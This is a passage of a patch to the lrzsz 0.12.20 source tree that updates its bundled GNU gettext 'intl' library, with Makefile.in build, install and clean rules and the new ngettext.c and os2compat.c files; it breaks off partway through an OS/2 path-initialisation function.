-+# You should have received a copy of the GNU Library General Public
-+# License along with this program; if not, write to the Free Software
-+# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+# USA.
-
- PACKAGE = @PACKAGE@
- VERSION = @VERSION@
-@@ -23,118 +24,341 @@
- srcdir = @srcdir@
- top_srcdir = @top_srcdir@
- top_builddir = ..
--VPATH = @srcdir@
-+#VPATH = $(srcdir)
-
- prefix = @prefix@
- exec_prefix = @exec_prefix@
- transform = @program_transform_name@
--libdir = $(exec_prefix)/lib
--includedir = $(prefix)/include
--datadir = $(prefix)/@DATADIRNAME@
-+libdir = @libdir@
-+includedir = @includedir@
-+datadir = @datadir@
- localedir = $(datadir)/locale
--gnulocaledir = $(prefix)/share/locale
--gettextsrcdir = @datadir@/gettext/intl
--aliaspath = $(localedir):.
-+gettextsrcdir = $(datadir)/gettext/intl
-+aliaspath = $(localedir)
- subdir = intl
-
- INSTALL = @INSTALL@
- INSTALL_DATA = @INSTALL_DATA@
- MKINSTALLDIRS = @MKINSTALLDIRS@
-+mkinstalldirs = $(SHELL) $(MKINSTALLDIRS)
-
--l = @l@
-+l = @INTL_LIBTOOL_SUFFIX_PREFIX@
-
- AR = ar
- CC = @CC@
- LIBTOOL = @LIBTOOL@
- RANLIB = @RANLIB@
-+YACC = @INTLBISON@ -y -d
-+YFLAGS = --name-prefix=__gettext
-
--DEFS = -DLOCALEDIR=\"$(localedir)\" -DGNULOCALEDIR=\"$(gnulocaledir)\" \
---DLOCALE_ALIAS_PATH=\"$(aliaspath)\" @DEFS@
-+DEFS = -DLOCALEDIR=\"$(localedir)\" -DLOCALE_ALIAS_PATH=\"$(aliaspath)\" \
-+-DLIBDIR=\"$(libdir)\" -DIN_LIBINTL \
-+-DENABLE_RELOCATABLE=1 -DIN_LIBRARY -DINSTALLDIR=\"$(libdir)\" -DNO_XMALLOC \
-+-Dset_relocation_prefix=libintl_set_relocation_prefix \
-+-Drelocate=libintl_relocate \
-+-DDEPENDS_ON_LIBICONV=1 @DEFS@
- CPPFLAGS = @CPPFLAGS@
- CFLAGS = @CFLAGS@
- LDFLAGS = @LDFLAGS@
-+LIBS = @LIBS@
-
- COMPILE = $(CC) -c $(DEFS) $(INCLUDES) $(CPPFLAGS) $(CFLAGS) $(XCFLAGS)
-
--HEADERS = $(COMHDRS) libgettext.h loadinfo.h
--COMHDRS = gettext.h gettextP.h hash-string.h
--SOURCES = $(COMSRCS) intl-compat.c cat-compat.c
--COMSRCS = bindtextdom.c dcgettext.c dgettext.c gettext.c \
--finddomain.c loadmsgcat.c localealias.c textdomain.c l10nflist.c \
--explodename.c
--OBJECTS = @INTLOBJS@ bindtextdom.$lo dcgettext.$lo dgettext.$lo gettext.$lo \
--finddomain.$lo loadmsgcat.$lo localealias.$lo textdomain.$lo l10nflist.$lo \
--explodename.$lo
--CATOBJS = cat-compat.$lo ../po/cat-id-tbl.$lo
--GETTOBJS = intl-compat.$lo
--DISTFILES.common = ChangeLog Makefile.in linux-msg.sed po2tbl.sed.in \
--xopen-msg.sed $(HEADERS) $(SOURCES)
-+HEADERS = \
-+ gmo.h \
-+ gettextP.h \
-+ hash-string.h \
-+ loadinfo.h \
-+ plural-exp.h \
-+ eval-plural.h \
-+ localcharset.h \
-+ relocatable.h \
-+ xsize.h \
-+ printf-args.h printf-args.c \
-+ printf-parse.h wprintf-parse.h printf-parse.c \
-+ vasnprintf.h vasnwprintf.h vasnprintf.c \
-+ os2compat.h \
-+ libgnuintl.h.in
-+SOURCES = \
-+ bindtextdom.c \
-+ dcgettext.c \
-+ dgettext.c \
-+ gettext.c \
-+ finddomain.c \
-+ loadmsgcat.c \
-+ localealias.c \
-+ textdomain.c \
-+ l10nflist.c \
-+ explodename.c \
-+ dcigettext.c \
-+ dcngettext.c \
-+ dngettext.c \
-+ ngettext.c \
-+ plural.y \
-+ plural-exp.c \
-+ localcharset.c \
-+ relocatable.c \
-+ localename.c \
-+ log.c \
-+ printf.c \
-+ osdep.c \
-+ os2compat.c \
-+ intl-compat.c
-+OBJECTS = \
-+ bindtextdom.$lo \
-+ dcgettext.$lo \
-+ dgettext.$lo \
-+ gettext.$lo \
-+ finddomain.$lo \
-+ loadmsgcat.$lo \
-+ localealias.$lo \
-+ textdomain.$lo \
-+ l10nflist.$lo \
-+ explodename.$lo \
-+ dcigettext.$lo \
-+ dcngettext.$lo \
-+ dngettext.$lo \
-+ ngettext.$lo \
-+ plural.$lo \
-+ plural-exp.$lo \
-+ localcharset.$lo \
-+ relocatable.$lo \
-+ localename.$lo \
-+ log.$lo \
-+ printf.$lo \
-+ osdep.$lo \
-+ intl-compat.$lo
-+DISTFILES.common = Makefile.in \
-+config.charset locale.alias ref-add.sin ref-del.sin $(HEADERS) $(SOURCES)
-+DISTFILES.generated = plural.c
- DISTFILES.normal = VERSION
--DISTFILES.gettext = libintl.glibc intlh.inst.in
-+DISTFILES.gettext = COPYING.LIB-2.0 COPYING.LIB-2.1 libintl.glibc \
-+libgnuintl.h_vms Makefile.vms \
-+libgnuintl.h.msvc-static libgnuintl.h.msvc-shared README.woe32 Makefile.msvc
-+DISTFILES.obsolete = xopen-msg.sed linux-msg.sed po2tbl.sed.in cat-compat.c \
-+COPYING.LIB-2 gettext.h libgettext.h plural-eval.c libgnuintl.h
-+
-+all: all-@USE_INCLUDED_LIBINTL@
-+all-yes: libintl.$la libintl.h charset.alias ref-add.sed ref-del.sed
-+all-no: all-no-@BUILD_INCLUDED_LIBINTL@
-+all-no-yes: libgnuintl.$la
-+all-no-no:
-+
-+libintl.a libgnuintl.a: $(OBJECTS)
-+ rm -f $@
-+ $(AR) cru $@ $(OBJECTS)
-+ $(RANLIB) $@
-+
-+libintl.la libgnuintl.la: $(OBJECTS)
-+ $(LIBTOOL) --mode=link \
-+ $(CC) $(CPPFLAGS) $(CFLAGS) $(XCFLAGS) $(LDFLAGS) -o $@ \
-+ $(OBJECTS) @LTLIBICONV@ $(LIBS) -lc \
-+ -version-info $(LTV_CURRENT):$(LTV_REVISION):$(LTV_AGE) \
-+ -rpath $(libdir) \
-+ -no-undefined
-+
-+# Libtool's library version information for libintl.
-+# Before making a gettext release, the gettext maintainer must change this
-+# according to the libtool documentation, section "Library interface versions".
-+# Maintainers of other packages that include the intl directory must *not*
-+# change these values.
-+LTV_CURRENT=7
-+LTV_REVISION=0
-+LTV_AGE=4
-
- .SUFFIXES:
--.SUFFIXES: .c .o .lo
-+.SUFFIXES: .c .y .o .lo .sin .sed
-+
- .c.o:
- $(COMPILE) $<
--.c.lo:
-- $(LIBTOOL) --mode=compile $(COMPILE) $<
-
--INCLUDES = -I.. -I. -I$(top_srcdir)/intl -I$(top_srcdir)/lib
-+.y.c:
-+ $(YACC) $(YFLAGS) --output $@ $<
-+ rm -f $*.h
-
--all: all-@USE_INCLUDED_LIBINTL@
-+bindtextdom.lo: $(srcdir)/bindtextdom.c
-+ $(LIBTOOL) --mode=compile $(COMPILE) $(srcdir)/bindtextdom.c
-+dcgettext.lo: $(srcdir)/dcgettext.c
-+ $(LIBTOOL) --mode=compile $(COMPILE) $(srcdir)/dcgettext.c
-+dgettext.lo: $(srcdir)/dgettext.c
-+ $(LIBTOOL) --mode=compile $(COMPILE) $(srcdir)/dgettext.c
-+gettext.lo: $(srcdir)/gettext.c
-+ $(LIBTOOL) --mode=compile $(COMPILE) $(srcdir)/gettext.c
-+finddomain.lo: $(srcdir)/finddomain.c
-+ $(LIBTOOL) --mode=compile $(COMPILE) $(srcdir)/finddomain.c
-+loadmsgcat.lo: $(srcdir)/loadmsgcat.c
-+ $(LIBTOOL) --mode=compile $(COMPILE) $(srcdir)/loadmsgcat.c
-+localealias.lo: $(srcdir)/localealias.c
-+ $(LIBTOOL) --mode=compile $(COMPILE) $(srcdir)/localealias.c
-+textdomain.lo: $(srcdir)/textdomain.c
-+ $(LIBTOOL) --mode=compile $(COMPILE) $(srcdir)/textdomain.c
-+l10nflist.lo: $(srcdir)/l10nflist.c
-+ $(LIBTOOL) --mode=compile $(COMPILE) $(srcdir)/l10nflist.c
-+explodename.lo: $(srcdir)/explodename.c
-+ $(LIBTOOL) --mode=compile $(COMPILE) $(srcdir)/explodename.c
-+dcigettext.lo: $(srcdir)/dcigettext.c
-+ $(LIBTOOL) --mode=compile $(COMPILE) $(srcdir)/dcigettext.c
-+dcngettext.lo: $(srcdir)/dcngettext.c
-+ $(LIBTOOL) --mode=compile $(COMPILE) $(srcdir)/dcngettext.c
-+dngettext.lo: $(srcdir)/dngettext.c
-+ $(LIBTOOL) --mode=compile $(COMPILE) $(srcdir)/dngettext.c
-+ngettext.lo: $(srcdir)/ngettext.c
-+ $(LIBTOOL) --mode=compile $(COMPILE) $(srcdir)/ngettext.c
-+plural.lo: $(srcdir)/plural.c
-+ $(LIBTOOL) --mode=compile $(COMPILE) $(srcdir)/plural.c
-+plural-exp.lo: $(srcdir)/plural-exp.c
-+ $(LIBTOOL) --mode=compile $(COMPILE) $(srcdir)/plural-exp.c
-+localcharset.lo: $(srcdir)/localcharset.c
-+ $(LIBTOOL) --mode=compile $(COMPILE) $(srcdir)/localcharset.c
-+relocatable.lo: $(srcdir)/relocatable.c
-+ $(LIBTOOL) --mode=compile $(COMPILE) $(srcdir)/relocatable.c
-+localename.lo: $(srcdir)/localename.c
-+ $(LIBTOOL) --mode=compile $(COMPILE) $(srcdir)/localename.c
-+log.lo: $(srcdir)/log.c
-+ $(LIBTOOL) --mode=compile $(COMPILE) $(srcdir)/log.c
-+printf.lo: $(srcdir)/printf.c
-+ $(LIBTOOL) --mode=compile $(COMPILE) $(srcdir)/printf.c
-+osdep.lo: $(srcdir)/osdep.c
-+ $(LIBTOOL) --mode=compile $(COMPILE) $(srcdir)/osdep.c
-+intl-compat.lo: $(srcdir)/intl-compat.c
-+ $(LIBTOOL) --mode=compile $(COMPILE) $(srcdir)/intl-compat.c
-
--all-yes: libintl.$la intlh.inst
--all-no:
-+ref-add.sed: $(srcdir)/ref-add.sin
-+ sed -e '/^#/d' -e 's/@''PACKAGE''@/@PACKAGE@/g' $(srcdir)/ref-add.sin > t-ref-add.sed
-+ mv t-ref-add.sed ref-add.sed
-+ref-del.sed: $(srcdir)/ref-del.sin
-+ sed -e '/^#/d' -e 's/@''PACKAGE''@/@PACKAGE@/g' $(srcdir)/ref-del.sin > t-ref-del.sed
-+ mv t-ref-del.sed ref-del.sed
-
--libintl.a: $(OBJECTS)
-- rm -f $@
-- $(AR) cru $@ $(OBJECTS)
-- $(RANLIB) $@
-+INCLUDES = -I. -I$(srcdir) -I..
-
--libintl.la: $(OBJECTS)
-- $(LIBTOOL) --mode=link $(CC) $(LDFLAGS) -o $@ $(OBJECTS) \
-- -version-info 1:0 -rpath $(libdir)
-+libgnuintl.h: $(srcdir)/libgnuintl.h.in
-+ sed -e 's,@''HAVE_POSIX_PRINTF''@,@HAVE_POSIX_PRINTF@,g' \
-+ -e 's,@''HAVE_ASPRINTF''@,@HAVE_ASPRINTF@,g' \
-+ -e 's,@''HAVE_SNPRINTF''@,@HAVE_SNPRINTF@,g' \
-+ -e 's,@''HAVE_WPRINTF''@,@HAVE_WPRINTF@,g' \
-+ < $(srcdir)/libgnuintl.h.in > libgnuintl.h
-
--../po/cat-id-tbl.$lo: ../po/cat-id-tbl.c $(top_srcdir)/po/$(PACKAGE).pot
-- cd ../po && $(MAKE) cat-id-tbl.$lo
-+libintl.h: libgnuintl.h
-+ cp libgnuintl.h libintl.h
-
--check: all
-+charset.alias: $(srcdir)/config.charset
-+ $(SHELL) $(srcdir)/config.charset '@host@' > t-$@
-+ mv t-$@ $@
-
--# This installation goal is only used in GNU gettext. Packages which
--# only use the library should use install instead.
-+check: all
-
- # We must not install the libintl.h/libintl.a files if we are on a
--# system which has the gettext() function in its C library or in a
--# separate library or use the catgets interface. A special case is
--# where configure found a previously installed GNU gettext library.
-+# system which has the GNU gettext() function in its C library or in a
-+# separate library.
- # If you want to use the one which comes with this version of the
- # package, you have to use `configure --with-included-gettext'.
- install: install-exec install-data
- install-exec: all
-- if test "$(PACKAGE)" = "gettext" \
-- && test '@INTLOBJS@' = '$(GETTOBJS)'; then \
-- if test -r $(MKINSTALLDIRS); then \
-- $(MKINSTALLDIRS) $(libdir) $(includedir); \
-- else \
-- $(top_srcdir)/mkinstalldirs $(libdir) $(includedir); \
-+ if { test "$(PACKAGE)" = "gettext-runtime" || test "$(PACKAGE)" = "gettext-tools"; } \
-+ && test '@USE_INCLUDED_LIBINTL@' = yes; then \
-+ $(mkinstalldirs) $(DESTDIR)$(libdir) $(DESTDIR)$(includedir); \
-+ $(INSTALL_DATA) libintl.h $(DESTDIR)$(includedir)/libintl.h; \
-+ $(LIBTOOL) --mode=install \
-+ $(INSTALL_DATA) libintl.$la $(DESTDIR)$(libdir)/libintl.$la; \
-+ if test "@RELOCATABLE@" = yes; then \
-+ dependencies=`sed -n -e 's,^dependency_libs=\(.*\),\1,p' < $(DESTDIR)$(libdir)/libintl.la | sed -e "s,^',," -e "s,'\$$,,"`; \
-+ if test -n "$$dependencies"; then \
-+ rm -f $(DESTDIR)$(libdir)/libintl.la; \
-+ fi; \
- fi; \
-- $(INSTALL_DATA) intlh.inst $(includedir)/libintl.h; \
-- $(INSTALL_DATA) libintl.a $(libdir)/libintl.a; \
- else \
- : ; \
- fi
--install-data: all
-- if test "$(PACKAGE)" = "gettext"; then \
-- if test -r $(MKINSTALLDIRS); then \
-- $(MKINSTALLDIRS) $(gettextsrcdir); \
-+ if test "$(PACKAGE)" = "gettext-tools" \
-+ && test '@USE_INCLUDED_LIBINTL@' = no; then \
-+ $(mkinstalldirs) $(DESTDIR)$(libdir); \
-+ $(LIBTOOL) --mode=install \
-+ $(INSTALL_DATA) libgnuintl.$la $(DESTDIR)$(libdir)/libgnuintl.$la; \
-+ rm -f $(DESTDIR)$(libdir)/preloadable_libintl.so; \
-+ $(INSTALL_DATA) $(DESTDIR)$(libdir)/libgnuintl.so $(DESTDIR)$(libdir)/preloadable_libintl.so; \
-+ $(LIBTOOL) --mode=uninstall \
-+ rm -f $(DESTDIR)$(libdir)/libgnuintl.$la; \
-+ else \
-+ : ; \
-+ fi
-+ if test '@USE_INCLUDED_LIBINTL@' = yes; then \
-+ test @GLIBC21@ != no || $(mkinstalldirs) $(DESTDIR)$(libdir); \
-+ temp=$(DESTDIR)$(libdir)/t-charset.alias; \
-+ dest=$(DESTDIR)$(libdir)/charset.alias; \
-+ if test -f $(DESTDIR)$(libdir)/charset.alias; then \
-+ orig=$(DESTDIR)$(libdir)/charset.alias; \
-+ sed -f ref-add.sed $$orig > $$temp; \
-+ $(INSTALL_DATA) $$temp $$dest; \
-+ rm -f $$temp; \
- else \
-- $(top_srcdir)/mkinstalldirs $(gettextsrcdir); \
-+ if test @GLIBC21@ = no; then \
-+ orig=charset.alias; \
-+ sed -f ref-add.sed $$orig > $$temp; \
-+ $(INSTALL_DATA) $$temp $$dest; \
-+ rm -f $$temp; \
-+ fi; \
- fi; \
-- $(INSTALL_DATA) VERSION $(gettextsrcdir)/VERSION; \
-- dists="$(DISTFILES.common)"; \
-+ $(mkinstalldirs) $(DESTDIR)$(localedir); \
-+ test -f $(DESTDIR)$(localedir)/locale.alias \
-+ && orig=$(DESTDIR)$(localedir)/locale.alias \
-+ || orig=$(srcdir)/locale.alias; \
-+ temp=$(DESTDIR)$(localedir)/t-locale.alias; \
-+ dest=$(DESTDIR)$(localedir)/locale.alias; \
-+ sed -f ref-add.sed $$orig > $$temp; \
-+ $(INSTALL_DATA) $$temp $$dest; \
-+ rm -f $$temp; \
-+ else \
-+ : ; \
-+ fi
-+install-data: all
-+ if test "$(PACKAGE)" = "gettext-tools"; then \
-+ $(mkinstalldirs) $(DESTDIR)$(gettextsrcdir); \
-+ $(INSTALL_DATA) VERSION $(DESTDIR)$(gettextsrcdir)/VERSION; \
-+ $(INSTALL_DATA) ChangeLog.inst $(DESTDIR)$(gettextsrcdir)/ChangeLog; \
-+ dists="COPYING.LIB-2.0 COPYING.LIB-2.1 $(DISTFILES.common)"; \
- for file in $$dists; do \
-- $(INSTALL_DATA) $(srcdir)/$$file $(gettextsrcdir)/$$file; \
-+ $(INSTALL_DATA) $(srcdir)/$$file \
-+ $(DESTDIR)$(gettextsrcdir)/$$file; \
- done; \
-+ chmod a+x $(DESTDIR)$(gettextsrcdir)/config.charset; \
-+ dists="$(DISTFILES.generated)"; \
-+ for file in $$dists; do \
-+ if test -f $$file; then dir=.; else dir=$(srcdir); fi; \
-+ $(INSTALL_DATA) $$dir/$$file \
-+ $(DESTDIR)$(gettextsrcdir)/$$file; \
-+ done; \
-+ dists="$(DISTFILES.obsolete)"; \
-+ for file in $$dists; do \
-+ rm -f $(DESTDIR)$(gettextsrcdir)/$$file; \
-+ done; \
-+ else \
-+ : ; \
-+ fi
-+
-+install-strip: install
-+
-+installdirs:
-+ if { test "$(PACKAGE)" = "gettext-runtime" || test "$(PACKAGE)" = "gettext-tools"; } \
-+ && test '@USE_INCLUDED_LIBINTL@' = yes; then \
-+ $(mkinstalldirs) $(DESTDIR)$(libdir) $(DESTDIR)$(includedir); \
-+ else \
-+ : ; \
-+ fi
-+ if test "$(PACKAGE)" = "gettext-tools" \
-+ && test '@USE_INCLUDED_LIBINTL@' = no; then \
-+ $(mkinstalldirs) $(DESTDIR)$(libdir); \
-+ else \
-+ : ; \
-+ fi
-+ if test '@USE_INCLUDED_LIBINTL@' = yes; then \
-+ test @GLIBC21@ != no || $(mkinstalldirs) $(DESTDIR)$(libdir); \
-+ $(mkinstalldirs) $(DESTDIR)$(localedir); \
-+ else \
-+ : ; \
-+ fi
-+ if test "$(PACKAGE)" = "gettext-tools"; then \
-+ $(mkinstalldirs) $(DESTDIR)$(gettextsrcdir); \
- else \
- : ; \
- fi
-@@ -143,22 +367,76 @@
- installcheck:
-
- uninstall:
-- dists="$(DISTFILES.common)"; \
-- for file in $$dists; do \
-- rm -f $(gettextsrcdir)/$$file; \
-- done
-+ if { test "$(PACKAGE)" = "gettext-runtime" || test "$(PACKAGE)" = "gettext-tools"; } \
-+ && test '@USE_INCLUDED_LIBINTL@' = yes; then \
-+ rm -f $(DESTDIR)$(includedir)/libintl.h; \
-+ $(LIBTOOL) --mode=uninstall \
-+ rm -f $(DESTDIR)$(libdir)/libintl.$la; \
-+ else \
-+ : ; \
-+ fi
-+ if test "$(PACKAGE)" = "gettext-tools" \
-+ && test '@USE_INCLUDED_LIBINTL@' = no; then \
-+ rm -f $(DESTDIR)$(libdir)/preloadable_libintl.so; \
-+ else \
-+ : ; \
-+ fi
-+ if test '@USE_INCLUDED_LIBINTL@' = yes; then \
-+ if test -f $(DESTDIR)$(libdir)/charset.alias; then \
-+ temp=$(DESTDIR)$(libdir)/t-charset.alias; \
-+ dest=$(DESTDIR)$(libdir)/charset.alias; \
-+ sed -f ref-del.sed $$dest > $$temp; \
-+ if grep '^# Packages using this file: $$' $$temp > /dev/null; then \
-+ rm -f $$dest; \
-+ else \
-+ $(INSTALL_DATA) $$temp $$dest; \
-+ fi; \
-+ rm -f $$temp; \
-+ fi; \
-+ if test -f $(DESTDIR)$(localedir)/locale.alias; then \
-+ temp=$(DESTDIR)$(localedir)/t-locale.alias; \
-+ dest=$(DESTDIR)$(localedir)/locale.alias; \
-+ sed -f ref-del.sed $$dest > $$temp; \
-+ if grep '^# Packages using this file: $$' $$temp > /dev/null; then \
-+ rm -f $$dest; \
-+ else \
-+ $(INSTALL_DATA) $$temp $$dest; \
-+ fi; \
-+ rm -f $$temp; \
-+ fi; \
-+ else \
-+ : ; \
-+ fi
-+ if test "$(PACKAGE)" = "gettext-tools"; then \
-+ for file in VERSION ChangeLog COPYING.LIB-2.0 COPYING.LIB-2.1 $(DISTFILES.common) $(DISTFILES.generated); do \
-+ rm -f $(DESTDIR)$(gettextsrcdir)/$$file; \
-+ done; \
-+ else \
-+ : ; \
-+ fi
-
--info dvi:
-+info dvi ps pdf html:
-
--$(OBJECTS): ../config.h libgettext.h
--bindtextdom.$lo finddomain.$lo loadmsgcat.$lo: gettextP.h gettext.h loadinfo.h
--dcgettext.$lo: gettextP.h gettext.h hash-string.h loadinfo.h
-+$(OBJECTS): ../config.h libgnuintl.h
-+bindtextdom.$lo dcgettext.$lo dcigettext.$lo dcngettext.$lo dgettext.$lo dngettext.$lo finddomain.$lo gettext.$lo intl-compat.$lo loadmsgcat.$lo localealias.$lo ngettext.$lo textdomain.$lo: $(srcdir)/gettextP.h $(srcdir)/gmo.h $(srcdir)/loadinfo.h
-+dcigettext.$lo loadmsgcat.$lo: $(srcdir)/hash-string.h
-+explodename.$lo l10nflist.$lo: $(srcdir)/loadinfo.h
-+dcigettext.$lo loadmsgcat.$lo plural.$lo plural-exp.$lo: $(srcdir)/plural-exp.h
-+dcigettext.$lo: $(srcdir)/eval-plural.h
-+localcharset.$lo: $(srcdir)/localcharset.h
-+localealias.$lo localcharset.$lo relocatable.$lo: $(srcdir)/relocatable.h
-+printf.$lo: $(srcdir)/printf-args.h $(srcdir)/printf-args.c $(srcdir)/printf-parse.h $(srcdir)/wprintf-parse.h $(srcdir)/xsize.h $(srcdir)/printf-parse.c $(srcdir)/vasnprintf.h $(srcdir)/vasnwprintf.h $(srcdir)/vasnprintf.c
-
- tags: TAGS
-
- TAGS: $(HEADERS) $(SOURCES)
- here=`pwd`; cd $(srcdir) && etags -o $$here/TAGS $(HEADERS) $(SOURCES)
-
-+ctags: CTAGS
-+
-+CTAGS: $(HEADERS) $(SOURCES)
-+ here=`pwd`; cd $(srcdir) && ctags -o $$here/CTAGS $(HEADERS) $(SOURCES)
-+
- id: ID
-
- ID: $(HEADERS) $(SOURCES)
-@@ -166,12 +444,19 @@
-
-
- mostlyclean:
-- rm -f *.a *.o *.lo core core.*
-+ rm -f *.a *.la *.o *.obj *.lo core core.*
-+ rm -f libgnuintl.h libintl.h charset.alias ref-add.sed ref-del.sed
-+ rm -f -r .libs _libs
-
- clean: mostlyclean
-
- distclean: clean
-- rm -f Makefile ID TAGS po2msg.sed po2tbl.sed libintl.h
-+ rm -f Makefile ID TAGS
-+ if test "$(PACKAGE)" = "gettext-runtime" || test "$(PACKAGE)" = "gettext-tools"; then \
-+ rm -f ChangeLog.inst $(DISTFILES.normal); \
-+ else \
-+ : ; \
-+ fi
-
- maintainer-clean: distclean
- @echo "This command is intended for maintainers to use;"
-@@ -181,33 +466,27 @@
- # GNU gettext needs not contain the file `VERSION' but contains some
- # other files which should not be distributed in other packages.
- distdir = ../$(PACKAGE)-$(VERSION)/$(subdir)
--dist distdir: Makefile $(DISTFILES)
-- if test "$(PACKAGE)" = gettext; then \
-- additional="$(DISTFILES.gettext)"; \
-+dist distdir: Makefile
-+ if test "$(PACKAGE)" = "gettext-tools"; then \
-+ : ; \
- else \
-- additional="$(DISTFILES.normal)"; \
-- fi; \
-- for file in $(DISTFILES.common) $$additional; do \
-- ln $(srcdir)/$$file $(distdir) 2> /dev/null \
-- || cp -p $(srcdir)/$$file $(distdir); \
-- done
--
--dist-libc:
-- tar zcvf intl-glibc.tar.gz $(COMSRCS) $(COMHDRS) libintl.h.glibc
--
--Makefile: Makefile.in ../config.status
-- cd .. \
-- && CONFIG_FILES=$(subdir)/$@ CONFIG_HEADERS= $(SHELL) ./config.status
-+ if test "$(PACKAGE)" = "gettext-runtime"; then \
-+ additional="$(DISTFILES.gettext)"; \
-+ else \
-+ additional="$(DISTFILES.normal)"; \
-+ fi; \
-+ $(MAKE) $(DISTFILES.common) $(DISTFILES.generated) $$additional; \
-+ for file in ChangeLog $(DISTFILES.common) $(DISTFILES.generated) $$additional; do \
-+ if test -f $$file; then dir=.; else dir=$(srcdir); fi; \
-+ cp -p $$dir/$$file $(distdir); \
-+ done; \
-+ fi
-
--# The dependency for intlh.inst is different in gettext and all other
--# packages. Because we cannot you GNU make features we have to solve
--# the problem while rewriting Makefile.in.
--@GT_YES@intlh.inst: intlh.inst.in ../config.status
--@GT_YES@ cd .. \
--@GT_YES@ && CONFIG_FILES=$(subdir)/$@ CONFIG_HEADERS= \
--@GT_YES@ $(SHELL) ./config.status
--@GT_NO@.PHONY: intlh.inst
--@GT_NO@intlh.inst:
-+Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status
-+ cd $(top_builddir) && $(SHELL) ./config.status
-+# This would be more efficient, but doesn't work any more with autoconf-2.57,
-+# when AC_CONFIG_FILES([intl/Makefile:somedir/Makefile.in]) is used.
-+# cd $(top_builddir) && CONFIG_FILES=$(subdir)/$@ CONFIG_HEADERS= $(SHELL) ./config.status
-
- # Tell versions [3.59,3.63) of GNU make not to export all variables.
- # Otherwise a system limit (for SysV at least) may be exceeded.
---- lrzsz-0.12.20.safe/intl/ngettext.c 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/intl/ngettext.c 2004-09-12 14:40:34.533721032 -0400
-@@ -0,0 +1,65 @@
-+/* Implementation of ngettext(3) function.
-+ Copyright (C) 1995, 1997, 2000-2003 Free Software Foundation, Inc.
-+
-+ This program is free software; you can redistribute it and/or modify it
-+ under the terms of the GNU Library General Public License as published
-+ by the Free Software Foundation; either version 2, or (at your option)
-+ any later version.
-+
-+ This program is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Library General Public License for more details.
-+
-+ You should have received a copy of the GNU Library General Public
-+ License along with this program; if not, write to the Free Software
-+ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ USA. */
-+
-+#ifdef HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-+
-+#ifdef _LIBC
-+# define __need_NULL
-+# include <stddef.h>
-+#else
-+# include <stdlib.h> /* Just for NULL. */
-+#endif
-+
-+#include "gettextP.h"
-+#ifdef _LIBC
-+# include <libintl.h>
-+#else
-+# include "libgnuintl.h"
-+#endif
-+
-+#include <locale.h>
-+
-+/* @@ end of prolog @@ */
-+
-+/* Names for the libintl functions are a problem. They must not clash
-+ with existing names and they should follow ANSI C. But this source
-+ code is also used in GNU C Library where the names have a __
-+ prefix. So we have to make a difference here. */
-+#ifdef _LIBC
-+# define NGETTEXT __ngettext
-+# define DCNGETTEXT __dcngettext
-+#else
-+# define NGETTEXT libintl_ngettext
-+# define DCNGETTEXT libintl_dcngettext
-+#endif
-+
-+/* Look up MSGID in the current default message catalog for the current
-+ LC_MESSAGES locale. If not found, returns MSGID itself (the default
-+ text). */
-+char *
-+NGETTEXT (const char *msgid1, const char *msgid2, unsigned long int n)
-+{
-+ return DCNGETTEXT (NULL, msgid1, msgid2, n, LC_MESSAGES);
-+}
-+
-+#ifdef _LIBC
-+/* Alias for function name in GNU C Library. */
-+weak_alias (__ngettext, ngettext);
-+#endif
---- lrzsz-0.12.20.safe/intl/os2compat.c 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/intl/os2compat.c 2004-09-12 14:40:34.539720120 -0400
-@@ -0,0 +1,98 @@
-+/* OS/2 compatibility functions.
-+ Copyright (C) 2001-2002 Free Software Foundation, Inc.
-+
-+ This program is free software; you can redistribute it and/or modify it
-+ under the terms of the GNU Library General Public License as published
-+ by the Free Software Foundation; either version 2, or (at your option)
-+ any later version.
-+
-+ This program is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Library General Public License for more details.
-+
-+ You should have received a copy of the GNU Library General Public
-+ License along with this program; if not, write to the Free Software
-+ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ USA. */
-+
-+#define OS2_AWARE
-+#ifdef HAVE_CONFIG_H
-+#include <config.h>
-+#endif
-+
-+#include <stdlib.h>
-+#include <string.h>
-+#include <sys/param.h>
-+
-+/* A version of getenv() that works from DLLs */
-+extern unsigned long DosScanEnv (const unsigned char *pszName, unsigned char **ppszValue);
-+
-+char *
-+_nl_getenv (const char *name)
-+{
-+ unsigned char *value;
-+ if (DosScanEnv (name, &value))
-+ return NULL;
-+ else
-+ return value;
-+}
-+
-+/* A fixed size buffer. */
-+char libintl_nl_default_dirname[MAXPATHLEN+1];
-+
-+char *_nlos2_libdir = NULL;
-+char *_nlos2_localealiaspath = NULL;
-+char *_nlos2_localedir = NULL;
-+
-+static __attribute__((constructor)) void
-+nlos2_initialize ()
-+{
-+ char *root = getenv ("UNIXROOT");
-+ char *gnulocaledir = getenv ("GNULOCALEDIR");
-+
-+ _nlos2_libdir = gnulocaledir;
-+ if (!_nlos2_libdir)
-+ {
-+ if (root)
-+ {
-+ size_t sl = strlen (root);
-+ _nlos2_libdir = (char *) malloc (sl + strlen (LIBDIR) + 1);
-+ memcpy (_nlos2_libdir, root, sl);
-+ memcpy (_nlos2_libdir + sl, LIBDIR, strlen (LIBDIR) + 1);
-+ }
-+ else
-+ _nlos2_libdir = LIBDIR;
-+ }
-+
-+ _nlos2_localealiaspath = gnulocaledir;
-+ if (!_nlos2_localealiaspath)
-+ {
-+ if (root)
-+ {
-+ size_t sl = strlen (root);
-+ _nlos2_localealiaspath = (char *) malloc (sl + strlen (LOCALE_ALIAS_PATH) + 1);
-+ memcpy (_nlos2_localealiaspath, root, sl);
-+ memcpy (_nlos2_localealiaspath + sl, LOCALE_ALIAS_PATH, strlen (LOCALE_ALIAS_PATH) + 1);
-+ }
-+ else
-+ _nlos2_localealiaspath = LOCALE_ALIAS_PATH;
-+ }
-+
-+ _nlos2_localedir = gnulocaledir;
-+ if (!_nlos2_localedir)
-+ {
-+ if (root)
-+ {
-+ size_t sl = strlen (root);
